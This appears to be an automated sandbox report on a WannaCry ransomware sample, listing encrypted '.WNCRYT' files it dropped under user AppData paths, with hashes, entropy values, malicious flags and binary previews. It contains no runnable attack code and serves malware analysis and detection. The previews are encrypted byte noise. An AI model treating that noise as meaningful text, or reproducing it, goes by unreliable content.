                                                                                                                        Preview:WANACRY!.....=...+rJ{X.b6....>....%.e..-..C......*..;5....~.........Cm6x.. 3j=..X..hm.........%g..LZ...?LXG....;m.Yh......?._K54.5.U(.eRxH...Q...\I0..*R..8S.0o./.+....+v..q........p.\.X...r.P.>.F.st.''.<9..h.u....a.a./..y..azX....>.K...ye.@.,..S...C..d......s...........9A..O$...|....r..q.i....;....& .FA)Hj....G.J...J.;p....S.........~H...iWu..t5...7..%D.i.]....0..A......x....*`0....e}..v.j,....e..D.9.sc.mY..9.VP.KLp.Fq..G..ol.]T..T. Y.E..{.2...%...ZS.\|..m...m.0...P^..1(..a..x.ZBI.*(...!Ni......,&g.... ..S...J...Q...0.>...<...#..<..(..*7C.v*..".X.5{..\..{].P....'H..dj0$..../.D..,..X!?Xrl.."V.Dv...yXP....(.H.h.T.f...n.[.......O.^._.....jtHc.henh....=>e.i....}.x.h..t8/..D...L7X..pk.....;...].!Wm.x..!%.u.b).M*_...Y.N....7.O.(3.v....q...T.g..>..w..Az..0...Wd&~.sm.C2.U.`u......!uY;.H.....}...@.}.0=..b5.pQ.^.......-).UL..w....b...Q..f..e.V..^.Wy....K%~....9.'..T'.G.......<..Y...uZ..e.....QS.z.<.oc..2..h.v..*....'../ve.. ...6...X^..%.!....Bi...&..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_18_17_07_25_4954.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1576
                                                                                                                        Entropy (8bit):7.864513498374658
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkaPEn+In5qzAkd6kD0gNCKZZZBS03NQ4zNaA//9p3t:oa556klNzZ803S4JP//9p9
                                                                                                                        MD5:1AA190D0FC0355B066EF281004CE20AA
                                                                                                                        SHA1:35DF8EC715E567A070D6D5647B7F0E0FAF326377
                                                                                                                        SHA-256:0FA08A52ECDA8FCD24ECF249BF1566014B35A86FFD25B248C3EE3C4E12510B20
                                                                                                                        SHA-512:3617A673919FFE68947A551A296138382AFA020FDB2C41F6DA89BD4289FC9C929E595F277313E00B1592B6BB9276F79A8DB3D7B852ABA0A50206DBF746934B5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....|.s..1\............bV.....f.u..J..z3?.. J.A.l.#..T.U....;....6....'.t.5.....u.. Yz.4...{....6`.0.6.&.i..T.....RsT...C..=..c_P..xPZ....J.0....f1..Ul....$...nm..>H..n.5W...........j...Q..NU............I+.Z..k..R..m....vg(.....LU..r..../\.o.............j.V.O..>.R..?.M....~O....2.....v<D;.....L.=.h[&.x.g/...wG|...g..G.._.?......k.F.+.1....d....x`.1...Xi...s.T.93h.....W#3.z;..;p..u@...n$.}........5../..Oi..9....?..q..y.......J+.q+RV.P....|..y.......b$Rb...90.&...E.x...fg".NAl.&.68...C..Vs.A.%...ns....R..\X...e.f.r@...$....e...+..k3........E..........).Qt..e..:O.Zm..{..8;m.IG.>.D..wD...O.8.A...`....j2......ey.|..HD..9.*...7.v....O.k....";....eb..4...H.[!..?..r=D.|......IO.....,.g|v.'.......t.m93.}..M'..r.\...1.!..._...kC.....o.N~...l^e.p.....4..............Q....;.(..}...I.{...N.[.|./.9(..........r5L....2..,..(..y....0.H.h....2...o.F..q? ig......f..[.E.._..[^V.O...U.nw:l.!|.M.<..2fG....&XB MQ.4V..F.?..Ey...K.. u.~.'K..j..B....]...B.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\-iNIzuEypRdgRJ6xnyVHizZ3bpM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):17784
                                                                                                                        Entropy (8bit):7.9906975978294446
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:52CR0iqFREO4dL9m0cQlo95P2QmUEyNGdW+FL6Y1j4QlfezCSB0A5Q9Ygz0uQ:ne/ExdL8TweIyNGdW+cYSqe3iWQ9Az
                                                                                                                        MD5:A0CC2D1ABA3C328B755CFF6F0F21E2B2
                                                                                                                        SHA1:75103F1A5D3954B901090BE187D55664ED459575
                                                                                                                        SHA-256:C4B0B8AC12FF8102DD96156CE93F102EB42E8212650BDA95C49AEC6796D83EB3
                                                                                                                        SHA-512:CEF2EC28F354608923C4242DB0ADC4C4F1E8D605D569D094269EC0B5616BD01FD50377893F738A457EBB547F628B3F89D1CD12AC17892EC27C18D2D5DF27E28F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....-.d.....\...>..9.c.%..I.......+RZ...ZV.mfP...Y`.6..-..fn.&..#.........:0P..p3......-}u.2A.8.|..T.>&............`..<!|.xho.mKOz'e.....<J.."....o.....t...>.......i[......zv.=....%.3o.@....d1W....]"V.T.-.0.2........a..a..<.g.....n.T.X@..n..Qx..vgw.h....ZD.........%.nA..vY.T. ...}...Y...........w.bL.M...'.y..=..G1x~C...)."....kY.g'.......%!%...I........W.....]w$:..t......2WA.&K.E_K...F.O.F/ ~z...s..E..7.e...:.....~.}..b...<...+......#.(.....L.k.6..' l....|..[........E.gD5._..`.h.\..a<..aw..*.j....gV|8S... Ko/.)(?M&.=..HL....../..h.9s...!h....Q..iV...V.q*..N);.....q....{......a....Z.../.Z.e.."...7.'.fmx.Y.....D..8.s.{[J...g...j.VK.G..0....l+.....%....#.Dd.p_..q......!..D..........P.f.....Q...3&...Du..d.....%.5B...ppi....b..{.T...#.#...f..*B...u..q!.J..:....f.|..@.O.o.....=]....~_..Xr....L....%6......[Wvn[v....L).K.$.;R..]k\.ge...h..T^2S_9%...m."..5#.f.(.5._...^r.E.&rB.R.....M.6.w..!.......l,......6.....y..R....)...3..#=G.j.....G...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\-icFkUHf7bLnqHNTa2VtdcbR5-Q.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2028088
                                                                                                                        Entropy (8bit):7.999915561540309
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:zzEXRSXlBGzGpbIP/NERkKO3f7Zrz8cLVPliLFbvz625ofGtDHmLPs:4c/2GRY/NE6KkZrzBCL5vm25ofmDGLPs
                                                                                                                        MD5:BFDDE1CB98E52DF2EAC7BC5084ECDF92
                                                                                                                        SHA1:BC169C58ABE3FB63E85DF73B3813009305C7C0B8
                                                                                                                        SHA-256:B88350476E53CB24A09C9363A7AAB35D4B354076B439FE94561479701205A187
                                                                                                                        SHA-512:B63F045E6E24FDCD25C2B5100A43D53617678FC837F7AE2AF60A55DD3AB0CFD5A8B48F5E0859887AA16D5C5DF572E0BCECDA368B3E8BE2AF0398C41151554E93
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....zs.....e....y-.5...D..Xs.wd.[.+.......|...~.c......[.O.j..M.-....).).q.....g...N[ay..-........!...S.i.Z_...4....&...q...r.TV.kZ...Q..:'..e.i...........~...4..KH..q.jf.<..}.X.. ...ixM*.<sX].*...2..4.UXm.] .l.DJ....h..I...JE.,...Y.\k.x!<...^>.m".H.>..............g6....s......8.4..d.74.\....Y.....y]..(.j......( b...e.v......m.....-..'J~.;=.5d`......%+...2sw.d.........o.B....vf...ec..|J."...S.....8.jR2G"^.,0..`e..c. s.zs......e::........S.[}.j.r....M)T5.U.e25k8.E\....R.t&.A.=&..`.X._...s....7..8T...JW..Vd.d."......A....@.CL....F....E..=8E)..:#.6......5d..t.6.....IBg4..U.M&&...O..Oa..]_q7[..[..)Ma.G.lP..9.....A^..~u..i....U..E../.)k...J...Yi.........U..j._,.S.L.c.E...&..'..N3.qV....z...o.neh2t.&s<|...+O2.....~..$pw.~.bA.$.r.&8...K.....o.`...<.A..Y..(.F.../...@.qj.5*..>...?..8se...(..s....."..aT^^=....!{*.3.D..D....&..q.i..].-.LK...Hf...........{..}..........@......%..G...P..v.J<W..C...y0...r./[..O....d.9....Z...2.....N.(..e"9.:.).).e6i.b

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\0u2b9EXo8LdXut1MFm4AD0phBuM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1752
                                                                                                                        Entropy (8bit):7.871509916481228
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkcbZL1BU4VLoy5VWFUGg7wiq8haRspduHc0CpMMvFqLPXX:ocNbUkoA4FQ14kuHcFp1Fq7X
                                                                                                                        MD5:80E69173DD330A52B990091F5A3C5F87
                                                                                                                        SHA1:E363384B1A58485679CD4D983B21054F73F71A7F
                                                                                                                        SHA-256:1231EA24F5C028A2C4D45D3EE775EF16087009C0E9275A20BB23A5CD2F23DEAC
                                                                                                                        SHA-512:06C825D55279CC003271974E60709250D6DA9F45351106CD8925F46F36091225A26EB4ED02135C9C93C2C008A59F06832269F68612E45CDA264B7BEE97D80704
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....WB..2,..*..2....B...|.B.(..Mk'.Lp...K.(.i?....kR.*....W.....B..IO.;..g..[+...,!f..p.w.%......ro....m#...r&W..R....'z.uw....F.I...al.._M.......P0..e.2..e&.o.....:.Z-..Ae..B.A.b.#.w.o...?......y..oe..y....DR{...T00 ^..(j(..q.B...#%..0..%Y{....b..'-..............2....Y..g)s..QB..p....h.!..v.>..{qS.y.4.#.raz..]GW.......c9...4..b.b.....5.J..9..}...|..".........P.!...I........:..O.."U?=.2x}$./.#.0..r Ch..b...2=q....*.....).cU?....X0;.4.C...@.....9g....np/.Cn4.5.{....k...CV...b`z...iJ.....(0..0;r......Dlt-.......*..N.......J..=...{.#....cN...88f.:..GB...w.A.?tv+p...Z..B....s...m..#..7....$...]%.W.y...?G..E...E.E.2%e...}.0...#R...Z.Rg...K..Ph....l....%{R.v\ATLc....c{#.~`$/.=.H.....JE..J..g.U..bC.....(.p.%.....k..#O.....'..JN...v.......6.z...S..[...)._.o....9u..A.t...:3k..1..>..58.r.5..Z.a......#...-....?HY?.~.pm........j..B..w}2..0;.Sw <X"sA.E.:.r...<Zj.UC....$...\..........\`....K,.d@.t.9B...9....Z.T....k.[.....u.K..t.*.@d..?..+.qi.F.He....?!Fv.O.w

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\1ZEGC-vvjJWb_vC7u1jqy3MZE4Y.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):68984
                                                                                                                        Entropy (8bit):7.997408039204172
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:P9V80PWZqbnADCi1+U9VVsDqD+nfnhQZ182UgUotgrrAomt:PobqbnAV1++VVsmsQRVu/A/
                                                                                                                        MD5:DEB2973C87C9D614155C4C6D0868F32E
                                                                                                                        SHA1:D1D56B2149E903BF3D81688B87340FB4B14660FB
                                                                                                                        SHA-256:57B449C99B0A5D93B7B3A94DADC50470BF4A31B54B1925423EB498C1CF860118
                                                                                                                        SHA-512:0A4FC960487EF6899B64E2FE0F75DBA7C36EDCFF0F995CD0A4BCD10CE92D51C9FEEFA1B1400C45AD68F47177070C00F719498164E128DB18F7339C44BC787757
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......?LVPq.&.*A.=.4..Y..C....N.WC....b... ..(..../b.^.:C............%.p..2..x..5H.C.G.c..o...x..P.<.8N......lhU.]".D....$..[."...e..by.T..7$..Q.3_M-X..L.w.KNC.M....sk.~f:....@.HVyq,)..=.Y)...*N-0.......=.f....%......N"....D.............m}..D.}V...._.......wD.A.C.......b,t...W...Up.q.Eq.....H..........W*C.nF......a....O._zZ.^1...Q...JF.Z..W?.\:".lQ ..?N....n......O...-..W4mqI...~..N......./K./.}B.-g%....@>...jwE..^...8..[...N._F#.......W#.1...\..%.........~]...K4..(7.Y.xR3|............A..<*l..( ..Ur!|..b....N...Bu7...F.%.....$ul..p.>.j...|.XJ.9..1..J(0...w.e...B..~...y....!..,...oC.f=.....w."W.<.o.}....jPH.).....Pw..|..9..%................QEh.)..e*..Q..@.rG.D..C.x...N.....Y./..J..d...wT.c.r.".,..u(...V2..F.....FW....2.0P[.I.+..UA.]...Bj........cXb.YV..x6l...\.mX...US%?6tr.4t.F.X.k....].=...L.@.W.Gc.dW.+j1.......E..bqgh...28` ..u.j..f.Pd.....w..6....`Z.E<..9...G....6..b..e.>@.x.M.vD.@.J.dT..&.|(.b.....{X...[..J..|......)...k.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\1dbHMpGUD_mcBJ05F-nMPy_vP4o.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16088
                                                                                                                        Entropy (8bit):7.986658531347308
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:EpnIJ5WtAvtOwvTX/3c9nHh7LeNase7iw:Eefw0gyKMgxiw
                                                                                                                        MD5:69C6720FAE5584C173D2A24EF5E59510
                                                                                                                        SHA1:8D225C4011DABA2B32555369B60E83795AE370F6
                                                                                                                        SHA-256:FD53475DA6638B29108551551A30F3B9FB7DF7F73945531915E02EF8114DF7E6
                                                                                                                        SHA-512:BFE28D6F418F3ED4B625474BC733A656D92A98714E052F01E1B9ACE597189C02E3E62C4723D361B33A46603AC3D8EF476A93251CD2913304F1BF0D55E47DDA9E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......q....[%.f..\.. o.....V.....+L...s05/..m.Z`<P...nq...&..{..5......+SW.+..>%..U........g.y..2A`Q.M........Bm.aS"Zm...t......s+dM.......@.BsVS.}...jd.u.i.A&wI....C.M.5`.....u?.(.%+I.*....k..A]9<.].<.v..LH|(.E$1....[n....2.;e....>7....R.S.Me.>........=.........P...f....Bw.....:.7_...M.y.xb....]\aQ.w...P..,.7..."X......Vy.1.|.q........Gt.yS.?...8N........&.b.K9h..!...DG...M;.S,..=(...|..h....h...x=.ql.Hz.#..H....s.42Q.2.T0..W....1..u..9....b......>....5.;....@.\j.?z...)&...M..$4..p.7...C&..........;...q.......-.m..j6.A.@MP.`...qCx......w...0"+..8.t...8...+.%0...n*..%u.Hf.:...::.....^{..Y...$;..xY_....].|F......#".J.rj.@....2h=.1....%j?tNT..f....*.DB......Ja7...M.|...*..hK..76by..U..jOn.Z....V....%b.,...........`....k/.!.q...)p@.... ..j1.........W.p....s.I.A...s..O.8......n..[DU...+..~...4w...'.;;.&N\..=...W-C..,2..% .X..6..Zd...r...F.V.7..d..33..6.a`.\...M.7...\*.\.s....ZLHA!.qd.~...t8...u.b%.q..(..U..."G^.....C..>.S.3

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1240
                                                                                                                        Entropy (8bit):7.851068541743228
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkLjPyjsj70pr0Hmo43uyg5/I8iMzvzeyYnwmkLc1rGHPT7n:bkfilG1l5uMPfYnwmk416H/n
                                                                                                                        MD5:AD7F2F1DB0F0493CF0E1C9B8500DBA67
                                                                                                                        SHA1:D9BDAADA496E8B45789B0F09A785D8105B564490
                                                                                                                        SHA-256:5C7B0D032C85CE8C9A973E75E4DF959CBEC010FE05E60458EF6045CF83C31882
                                                                                                                        SHA-512:E01BFD54962D41A97AD44C85C57663C0C53FB493255E1B6B4E7C74039E4619D07DE671FF7441D96DB6E5A7E1F76D25E7C2C7C0E1334028AF6EDABF49C5820EF1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......S.t.....?.`..y.....Gw....wt.`..z<...n..."A...9.......C&s.H.a.O^AEa.E.v.Ona..G+.lSG-.X..hH..y....Vh#.T..m.|..=.........wi...iN.$.....C.....N(@.'..z.. ms@d..$..t.E.....-o)..Tg..0.T...>..W..u..P...?...6.;....8..L....r....../.....^.....O.qhgr.#.\............w...UQE.W.}.n:..w.@.^.~.)....[...5.*.^."..{O O..^.^...... ....V^L.....{..d.......|...........R.J..I..?^......UL".Xe....&.f..!.!.:Hn.@QrIx.S.aY..kJu.s{.bB.% ..(..y....~ .3a=p....W....|...v.bW.....>......n....%.fS..<.;j....fK..# ./0.=.]...i.p.....1*a......y.x..l.e..?|.x......E$.O...r....O~;.#....Vj.......nH..*...e.....Pj#.U....b....\.k..;P.C....y.J.p.../..r.."8.C6..i1...b....b,.E...t....'.$....(.z)..k.U+.....b.AB.....-......_.L.Pi.e......>..c...hc(..H..p..5^..l.9.7..;.J.......8O_6j..Z..8l.....Z..R..D..*..b...!.m..Qb.(.g.<.. I\.:I.n(......`.W...8-.DZ{..9.z.)....*.RAV.RQe.h....o.^~.`U.5...C......sx.-V.D.{..d..xB.......d.LW;`J.q-.I....r.....Q....:.[9.<g...,....|..".D.CKh.9....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\5qSqWyip_grL-s7BafaqI3Mrk9M.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):131672
                                                                                                                        Entropy (8bit):7.998676159057464
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:TJeMYKv0zsZ4mSsaG43s6C7dCWWCt9q8a5YWTQ:kMYgZfis6C7wvIvXWTQ
                                                                                                                        MD5:DF0AB7F3EFABC2B9B622367F6F1CA45B
                                                                                                                        SHA1:899A34868D7D8559036C93AD688E9A2981E6D2E2
                                                                                                                        SHA-256:206366DD3D4706492F43260938998611B310177F6231448BA49D978F1C18090D
                                                                                                                        SHA-512:4F8237E41A09BAD9ED555F821C66D598DBBDF91C7E9CD94A81821770F26E8628309E3FD831474514D4A87D0D7FCABB2E7215D71DA8B65D75BD962A3E4F872733
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........T.z..3.%.s...$.b*...G.qzJ..1;y.%.>.8`.b`{.K.C....J..U.I.)59..E..E.M.........w.u.ED.......|`.].?.......7..`..U.)..-.Z...9..@.<G.....(s..>.6.@..G)..[....T7B.....{z.}...F.......;SK.Y.`..U.br.Q...].c..1..U....>.^.W..F..^K"......qBaC(.o..9.......<...........s,..~#../..N..=.AVA/5..DPt..,.^E{.....0..n*.........S..E.]..,&.v).>.......u.RvZW................59.L.b.]w.Oo...?U..g...Y....t.#...4....{7....a..^.|...X...m.....G=..o...1.K.IA..5}.....Y..bH5u..6.$.D.vZ...#.=...k.....`..|.:..V..........7u.-kcs.....x'D.1.b..Y...u..V..&!..7...l.h....f....-..!...yb...,.~..P..{aYw1a..[z.L..u....?.m..-.1g..~.6?n..u..V...........J........E.9...'.....K{v..?*.g.R..@.q{.@..........u.....E...f.|2.=.{...~..=T....Dx...MiD.r.G...J...B..r.i...'./. ?..D.y.3.LgM..!."..i..E$.j;..{z..?5WS.n.`..'.:.....Z......!....._.8..#.Z..9..... ...C..&..c.S.h..{../m.....&V....1..p.)oTO..eo.0........tQd..VM:./.].fx..p>?.b.Z.......{..0.].3`......d..q..#.........>...i/

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\6aa-EF2IAVwnTTOiwAbhwI_VmCw[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):22232
                                                                                                                        Entropy (8bit):7.99122466708113
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:zAOQZ8uGiDh0rEDe4zLzQoikC7ojOKVSzhNpXNfTYB/5PBCeJ0jf+xefjNdcslq:cFGi80vsoRrjOKVSn/fE9BBCeJ0KxeZO
                                                                                                                        MD5:EDA2E04A51A34EB4C8C62742BB6D5ECD
                                                                                                                        SHA1:0BBC6079AB2550B5D9582B742B4DB0D573673146
                                                                                                                        SHA-256:6DB77805F94E43F31BB0103456665E835CC42F412EF79FB3F40484814D7423BD
                                                                                                                        SHA-512:E5C314272D16EE8335477B697B8C9F166A1F0E69E029CBE2C15A8DB4C2996775FE05E1140324FFF22667F6126DFDF9FF2E7E5C67FE246E3A5B65B0E9A9522C5E
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....].......8.dSS...%G...D3.S..l.%Z1-22..X.....~.q.k....Dj.9e{`n.8..T...U...5..x.5.NB....^]X=..Z...5.}....%.2..>.Pt...z..p.......p..L..g#....-.~i...7..o.X..BLb.Y..+Q....W.QZX._G./.{.../..o.....E.......C..v.0f .T-.r...W..q...=..7l<.......eN...[.,...S...@......U..........2..}.F.L.Fd,.YN(....,L9..._..uU..9_;t...'.OO..Z.d.....M.8.v...=........k.L].w.O4...l...9a%...u.C.....b.l.ZO...t..N..RrE..._\.....C...z.c....1rr..G.*h.......}.~..|.*W.I.h.(5..e...+...+...E6OOx...M..U...2.:.n..]..{9LV".G[..j.e....s..\..^.y)o?.t...@..#...=...!I}......?...m$d!..~#nsF4aar...t..@...L....X.....z....n.... ....X....O.....qhJ.#qS..p..Q.m..jJ.r...i.O.k....k.jG.MYy..syQx..M_-.f.....".".K. ...q.<f:s.....*2..3;....e.k.=R.....g.^.s\....X.D..9g.....<.....<...........f...2..a>=4U...>..r.......h..w.>.$..d..i.e.....pzn...qDI............M.2.......c..r.?....~W.;.....0..&N.G....*.%.^`!E...q.\.J.f..A.{g].E8....`....g.!.I.}..}....l.m....*U...j.>.cs'...t.P.9i..#.....>.r..c....r.......

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\76h-lqe82bg-bnu-ApkwUALogkQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):9272
                                                                                                                        Entropy (8bit):7.980918999293407
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:HJkUk0LU22GNsFvJ4j1+D6SoTp3T/cGXRHHThIVxS059ZmSlAhq/:HJkSNQGEDBoThzHUR56SlUq/
                                                                                                                        MD5:446469BF74814BEA3752E6FD45C0FE6B
                                                                                                                        SHA1:556DAA3096A5A71E9C137DC6F8C3911D57074AA2
                                                                                                                        SHA-256:52458A188B515FA648CE2E377BC99E8626E9F869036004F0571A82869742193F
                                                                                                                        SHA-512:5C35A17C1F8A8EDA075D7E64E73485082E3B0400F47D6EF8B90341D05B369EE6A8AE05D0AB644E39E0C1B2AD22D05EE1623E000096F26ACF88C66A6274594AED
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....x,..E..._H.z...t|.F..~........3...E.@.[...X3....q.......k.5....l...!..sC..y.0.En...j.......SY.....mUn9T..^.9..:]..nkP.}.B..<..._+.YO....|4....,..3..<.p.#Q..@..S..*..P%....S...).?....b....!....M...C...VCS...l..>q..\.R=i......./U.$.kg.D].Ib.......#......d..d_.Tm.!N?kC...j.5.0....E_......|.=..Jl{\.}...]..............O..l.}..-..x....X.Omv.B..k.h.Hx/N......g..Y....F.(6......KEY$R....Di. ..{.s.P.~f7x..I3.(A...HN.I.....q.T....YFyC..v..kU.....c...>....q...GG.{.U....T..&..+(fac...2T.!..S..]b..-...............>...Q@[..........<.....r.\....3..X..l....y..q.5...A.Cb..1...1.o^..#..*:.5]oH....Sli.l.l{HQ-b.8,.....~`...U1tvjv....'........O..9.#.E..{6p./....]...N<..{.....Pc......+..2i...^s$.J..7..X.....I...^5..X65(I...bLz*V-..0..IL...2#*.c_.>.........t....w.a.e.'.....EdTVF...L#.|.....4...8..;.p..>B.kj\5....0.......n7{om`bS.."Q...F..S]..]iB.=<......2{q.....g.;..M;c..3.twJ......X?...i...*........3....y..nq....S........U.....d........Q.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\Cj4mQnDN_eMyYEqsEbjRrJ2Ttec.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.207849470786964
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEYOci3NzdH55lT5dFm/aSEpzdinihfn5d6W3RnfSfHjEteoUPn:bkEYOci3zH5NHSUdicndhn2HAteB
                                                                                                                        MD5:F15EAD7B763370C20C5C7B843C62E40F
                                                                                                                        SHA1:86671E0B76CEA9F752A8BDBA50166D4D16772668
                                                                                                                        SHA-256:B215AEDFB621BF4375FF70932A801BE6D442EAEB3679B169819ECE1A4EE30B68
                                                                                                                        SHA-512:D09F78A579B13367D9AAFDD8C66F8468423123B73369A43ECAE94A3830C91B36DC45FBA45D29F7B1B9E83ED1E6A341F8462BCF7A890840DA987BCED2228931E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....].q.M.v......}._.Of*.\R.........6.3{k..tYg1`..V....y..`Z..f...E5..V.....U......b.v.x@...3 ].?.....I.P.``.5..'..........5.K....!..6..;^..G.._...!%S%...:+p(%.#,.....o..0I<.wg.k?.....-,...s.J.....ta....g<..../7....5...K8.<.@q[.@...`$.5.."....Q.^............X...X.u..(..w~1j

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\EDR6aHlON56kRFUYoTu1poTQKHc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7752
                                                                                                                        Entropy (8bit):7.97557605734933
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:MWrD3evymfR3YSmqHEzxvJ4uI7GWaN4w3JhQ3:1/Qa0EzhKt1s3J+3
                                                                                                                        MD5:DAF23F3E11F254E40C5CB91D375A94E2
                                                                                                                        SHA1:672D9DCACD00400AE4DCB79A47E1A67280451AA3
                                                                                                                        SHA-256:9B9D1BC7E7CEFABC49023D14FC8596AFE1B64E7DC7EA6AD14E59702D3FFBCD00
                                                                                                                        SHA-512:943CE1C8EB050366583C02051D7A31D6DB3CD82D412D63ED79A5CB7F443F711D961528B4156973E1BBF84BC88040298C60D5BDDC74ED3B62248DA5FD1217824B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....`.....83...=V.m......Lk0N.T...../]..I..G.....i..s.#.j..'q.^..2....47....%.&[.E.>..osf.2..@..X.y..}.q..z$..a.....t....L......_..%.?.......G....wM..s.V-.m........B.f..._..}.....b;...W.<.T4.;AC../.38...W.......A......y....O......... ...?)B..4c....$.......D..d....$.Z...{...Z...><.M(,[.or.Q2..@..1|......+..<...&.......2.._.......a..............o.N......iL..eC...%C.\i.j..<..bN.m..rr6E'....)....m...YF3.B... .m.wW...O..[............gt....E.<...t.k.[zSI.(=......Z\.[....d#A.fc>o.4..4..T.4=......n.L........-8W.[.U....c...q>..&.cU.2,p..)..v...Z...\..<.+].>%7.......<..7..3J.n.<....6....k/O ....B.A.%..~..&J..4..*.F.p.lS....>..>............~y.a?S......[=.F[.....\\.......,.c..%F....;N..u.J..4.MA....M).{W1FS.....%..v[=a.7z..p.m...P....,b6..%y`.!zH..$..........by].Y..a.S.o..r..8.6.....1~_A..Y.K...qC$u@.d...h.(|J.>Y...f./......%R*.j....Q..v.~..|......+@.T.L...G.g.\.8.u.V...e..a...bT9.[.OH\l..w.1...@x...*.@.......!....:....FB.Z%T.-...rl.].

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\FBodW3lwNP5Qe6iF-d8dpJdC9lc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):45256
                                                                                                                        Entropy (8bit):7.995875782822396
                                                                                                                        Encrypted:true
